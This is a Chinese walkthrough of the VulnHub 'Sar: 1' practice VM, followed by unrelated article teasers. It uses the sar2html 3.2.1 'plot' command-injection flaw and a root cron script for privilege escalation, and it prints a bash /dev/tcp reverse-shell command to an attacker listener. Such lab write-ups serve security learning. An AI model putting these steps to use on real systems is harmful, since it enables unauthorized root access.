靶机渗透之sar

  • Name: Sar: 1
  • Date release: 15 Feb 2020
  • Author: Love
  • Series: Sar
  • Download: https://drive.google.com/open?id=1AFAmM21AwiAEiVFUA0cSr_GeAYaxd3lQ

对于vulnhub中的靶机,我们都需先下载镜像,然后导入VM,并将网络连接改为NAT模式。首先我们再来看一下靶机渗透的步骤:信息收集-漏洞分析-漏洞利用-提权。基本都是这个三个步骤,接下来开始我们今天的靶机渗透吧! 

信息收集

主机发现

端口扫描

由扫描结果可以得知只有一个端口开放。

目录扫描

扫出来两个文件phpinfo.php和robots.txt。后续可以关注一下!

漏洞扫描

没扫出常见的漏洞!!

漏洞分析

打开页面,没啥发现。

 打开目录扫描出来的一个文件robots.txt。发现出来"sar2HTML"

使用kali 搜索一下目前存在已知的sar2html漏洞,发现存在RCE漏洞

把扫描结果总结一下:

  1. 漏洞标题:sar2html 3.2.1 - 'plot' 远程代码执行
    路径:php/webapps/49344.py
  2. 漏洞标题:Sar2HTML 3.2.1 - 远程命令执行
    路径:php/webapps/47204.txt

第一个漏洞利用版本3.2.1中的'plot'功能实现了远程代码执行。第二个漏洞实现了远程命令执行。提供的文件路径指示了漏洞在Searchsploit数据库中的位置。

这两个漏洞之间有以下区别:

漏洞类型:第一个漏洞是远程代码执行漏洞,而第二个漏洞是远程命令执行漏洞。远程代码执行漏洞允许攻击者在目标系统上执行恶意代码,而远程命令执行漏洞则允许攻击者在目标系统上执行任意命令。

漏洞利用方式:第一个漏洞利用的是sar2html版本3.2.1中的'plot'功能,通过该功能触发远程代码执行。第二个漏洞的具体利用方式没有在提供的信息中给出。

将sar2html利用的脚本拷贝至本地。

当使用sar2html版本3.2.1时,存在一个远程代码执行漏洞。这个漏洞允许攻击者通过在URL中注入恶意命令来执行任意代码。通过在plot参数中注入恶意代码,攻击者可以执行系统命令,并在受影响的服务器上执行任意操作。

查看利用方式,可以发现利用的地方在于plot的入参处。

告诉我们index.php 的参数plot 值使用分号隔开后加上系统命令造成远程命令执行
我们尝试一下,成功。

漏洞利用-远程代码执行

先开启http服务

上传shell脚本

给脚本执行的权限

先在kali开启监听端口1234,执行一下脚本。

反弹成功

提权

拿到shell后首先尝试了sudo -l,没有成功。到网站的根目录下看一下有什么文件

发现了两个特殊文件 finally.sh,robots.txt这两个文件属于rootwrite.sh这个文件具有777权限。查看一下这三个文件里面的内容。

可以发现finally.sh里的内容就是执行write.sh文件,而write.sh文件的作用就是创建一个文件 /tmp/gateway。由此可以想到计划任务提权,查看一下定时任务的配置文件/etc/crontab

果然有发现,系统会每五分钟就以root权限执行finally.sh

现在将反弹shell的代码写入write.sh中。

echo '#!/bin/sh' > write.shecho 'bash -c "bash -i >& /dev/tcp/192.168.11.128/4444 0>&1"' >>write.sh

在kali开启监听端口4444

静等5分钟 ,收到靶机连上反弹shell,确认用户为root.切换到root目录下,发现有文件root.txt。找到了flag.靶机到此就渗透完成!

总结

靶机渗透过程也就分为那几步骤,首先就是信息收集,找ip,端口,目录,漏洞。然后就进行漏洞分析,在进行漏洞分析的时候使用到了kali中自带的工具searchsploit,使用它搜索sar2HTML存在的漏洞,然后将漏洞利用脚本拷贝到本地,最后得知漏洞利用方式。最后就利用远程代码执行漏洞,上传反弹shell脚本,上传脚本一直出问题,也不知道为啥,最后上传了个shell.py,反弹成功。然后就是最后提权部分,利用了计划任务提权,获取root权限的关键是finally.sh脚本以root用户的权限来执行。finally.sh 执行写好的反弹shell脚本,执行脚本时继承了finally.sh的root权限,得到的反弹shell即为root权限shell。以上就是整个靶机渗透过程,如有问题还请大家帮忙指出!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/710609.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

UDP数据报套接字编程入门

目录 1.TCP和UDP的特点及区别 1.1TCP的特点 1.2UDP的特点 1.3区别 2.UDP Socket的api的介绍 2.1DatagramSocket API 2.2DatagramPacket API 3.回显客户端与服务器 3.1回显服务器 3.1.1UdpEchoServer类的创建 3.1.2服务器的运行方法start() 3.1.3main部分 3.1.4.完整…

C# CAD PaletteSet.Style各种外观和行为样式

ps.Style 是 Autodesk.AutoCAD.Windows.PaletteSet 类的一个属性,用于定义调色板集(PaletteSet)的各种外观和行为样式。它可以是 PaletteSetStyles 枚举类型的组合值 PaletteSetStyles 枚举中包含以下一些选项: NameEditable&am…

统计子矩阵

一、题目描述 P8783 [蓝桥杯 2022 省 B] 统计子矩阵 二、算法简析 2.1 二维前缀和 我们知道,只要确定了矩阵的左上顶点和右下顶点,一个矩阵就被固定了。因此,我们可以遍历这两个顶点,达到遍历所有子矩阵的目的,复杂…

在微服务整合dubbo,以为微服务版的若依为例

在微服务整合dubbo,以为微服务版的若依为例 一、环境二、整合过程1、父模块依赖2、生产者3、消费者 三、修改若依的服务调用方式为dubbo1、改造系统模块2、改造认证授权中心 四、整合过程遇到的问题1、出现循环引用2、出现依赖冲突3、启动出现端口号被占用4、出现某…

UVa11726 Crime Scene

题目链接 UVa11726 - Crime Scene 题意 给定n(n≤100)个物体,每个物体都是一个圆或者k(k≤10)边形,用长度尽量小的绳子把它们包围起来。 分析 孟加拉国Manzurur Rahman Khan (Sidky)大神出的难题&#xff…

MySQL 核心模块揭秘 | 07 期 | 二阶段提交 (1) prepare 阶段

二阶段提交的 prepare 阶段,binlog 和 InnoDB 各自会有哪些动作? 本文基于 MySQL 8.0.32 源码,存储引擎为 InnoDB。 1. 二阶段提交 二阶段提交,顾名思义,包含两个阶段,它们是: prepare 阶段。…

springboot-基础-eclipse配置+helloword示例

备份笔记。所有代码都是2019年测试通过的,如有问题请自行搜索解决! 下一篇:springboot-基础-添加model和controller的简单例子常用注解含义 目录 配置helloword示例新建项目创建文件 配置 spring boot官方有定制版eclipse,也就是…

BUUCTF AWD-Test1

打开靶场是这个有些简陋的界面。 随便点点,找到这个东西。 看到ThinkPHP,思路瞬间清晰,老熟人了。这个就是ThinkPHP漏洞。根据版本我们去找一下poc。 /index.php/?sIndex/\think\View/display&content%22%3C?%3E%3C?php%20phpinfo();…

服务端向客户端推送数据的实现方案

在日常的开发中,我们经常能碰见服务端需要主动推送给客户端数据的业务场景,比如数据大屏的实时数据,比如消息中心的未读消息,比如聊天功能等等。 本文主要介绍SSE的使用场景和如何使用SSE。 服务端向客户端推送数据的实现方案有哪…

MySQL 自增列解析(Auto_increment)

MySQL数据库为列提供了一种自增属性,当列被定义为自增时。Insert语句对该列即使不提供值,MySQL也会自动为该列生成递增的唯一标识,因此这个特性广泛用于主键的自动生成。 一、自增列的用法 自增列具有自动生成序列值,整型&#…

MYSQL04高级_逻辑架构剖析、查询缓存、解析器、优化器、执行器、存储引擎

文章目录 ①. 逻辑架构剖析②. 服务层 - 查询缓存③. 服务层 - 解析器④. 服务层 - 优化器⑤. 服务层 - 执行器⑥. MySQL8执行原理 ①. 逻辑架构剖析 ①. 服务器处理客户端请求 ②. 连接层 系统(客户端)访问MySQL服务器前,做的第一件事就是建立TCP连接经过三次握手建立连接成…

Linux使用C语言实现通过互斥锁限制对共享资源的访问

互斥锁限制共享资源的访问 主线程中有两个线程&#xff0c;分别输出信息。 #include <stdio.h> #include <pthread.h> #include <unistd.h>int g_data0;void* fun1(void *arg) {printf("t1&#xff1a;%ld thread is create\n", (unsigned long)…

稀疏图带负边的全源最短路Johnson算法

BellmanFord算法 Johnson算法解决的问题 带负权的稀疏图的全源最短路 算法流程 重新设置的每条边的权重都大于或等于0&#xff0c;跑完Djikstra后得到的全源最短路&#xff0c;记得要还原&#xff0c;即&#xff1a;f(u,v) d(u,v) - h[u] h[v] 例题

45、WEB攻防——通用漏洞PHP反序列化POP链构造魔术方法原生类

文章目录 序列化&#xff1a;将java、php等代码中的对象转化为数组或字符串等格式。代表函数serialize()&#xff0c;将一个对象转换成一个字符&#xff1b;反序列化&#xff1a;将数组或字符串等格式还成对象。代表函数unserialize()&#xff0c;将字符串还原成一个对象。 P…

MWC 2024丨Smart Health搭载高通Aware平台—美格发布智能健康看护解决方案,开启健康管理新体验

2月29日&#xff0c;在MWC 2024世界移动通信大会上&#xff0c;全球领先的无线通信模组及解决方案提供商——美格智能正式发布了新一代Cat.1模组SLM336Q&#xff0c;是中低速物联网应用场景的高性价比之选。本次还发布了首款搭载高通Aware™平台的智能看护解决方案MC303&#x…

[万字长文] 从 Vue 3 的项目模板学习 tsconfig 配置

文章目录 一、tsconfig.json 的作用二、基本介绍三、Vue 3 的 tsconfig.json 的结构分析1. 总配置 tsconfig.json2. Web 侧 tsconfig.app.jsona. 继承基础配置b. 包含和排除的文件c. 编译器选项 3. 测试 tsconfig.vitest.jsona. 继承的基础配置b. 包含和排除的文件c. 编译器选项…

OD(13)之Mermaid饼图和象限图

OD(13)之Mermaid饼图和象限图使用详解 Author: Once Day Date: 2024年2月29日 漫漫长路才刚刚开始… 全系列文章可参考专栏: Mermaid使用指南_Once_day的博客-CSDN博客 参考文章: 关于 Mermaid | Mermaid 中文网 (nodejs.cn)Mermaid | Diagramming and charting tool‍‌⁡…

FPGA-学会使用vivado中的存储器资源RAM(IP核)

问题 信号源(例如ADC)以1us一个的速率产生12位的数据现要求获得连续1ms内的数据,通过串口以115200的波特率发到电脑。 分析 数据量是1000个 数据速率不匹配 数据内容未知 数据总数据量有限 数据的使用速度低于数据的产生速度 数据生产和消耗的位宽 数据量相对较…

ywtool check命令及ywtool clean命令

一.ywtool check命令 1.1 ywtool check -I 1.2 ywtool check all 1.3 ywtool check io 1.4 ywtool check elk 1.5 ywtool check php 1.6 ywtool check mysql 1.7 ywtool check nginx 1.8 ywtool check system 1.9 ywtool check docker_nbip [容器名称] 1.10 ywtool check 1.10…

综合练习(一)

目录 列出薪金高于部门 30 的所有员工薪金的员工姓名和薪金、部门名称、部门人数 列出与 ALLEN从事相同工作的所有员工及他们的部门名称、部门人数、领导姓名 Oracle从入门到总裁:https://blog.csdn.net/weixin_67859959/article/details/135209645 列出薪金高于部门 30 的所…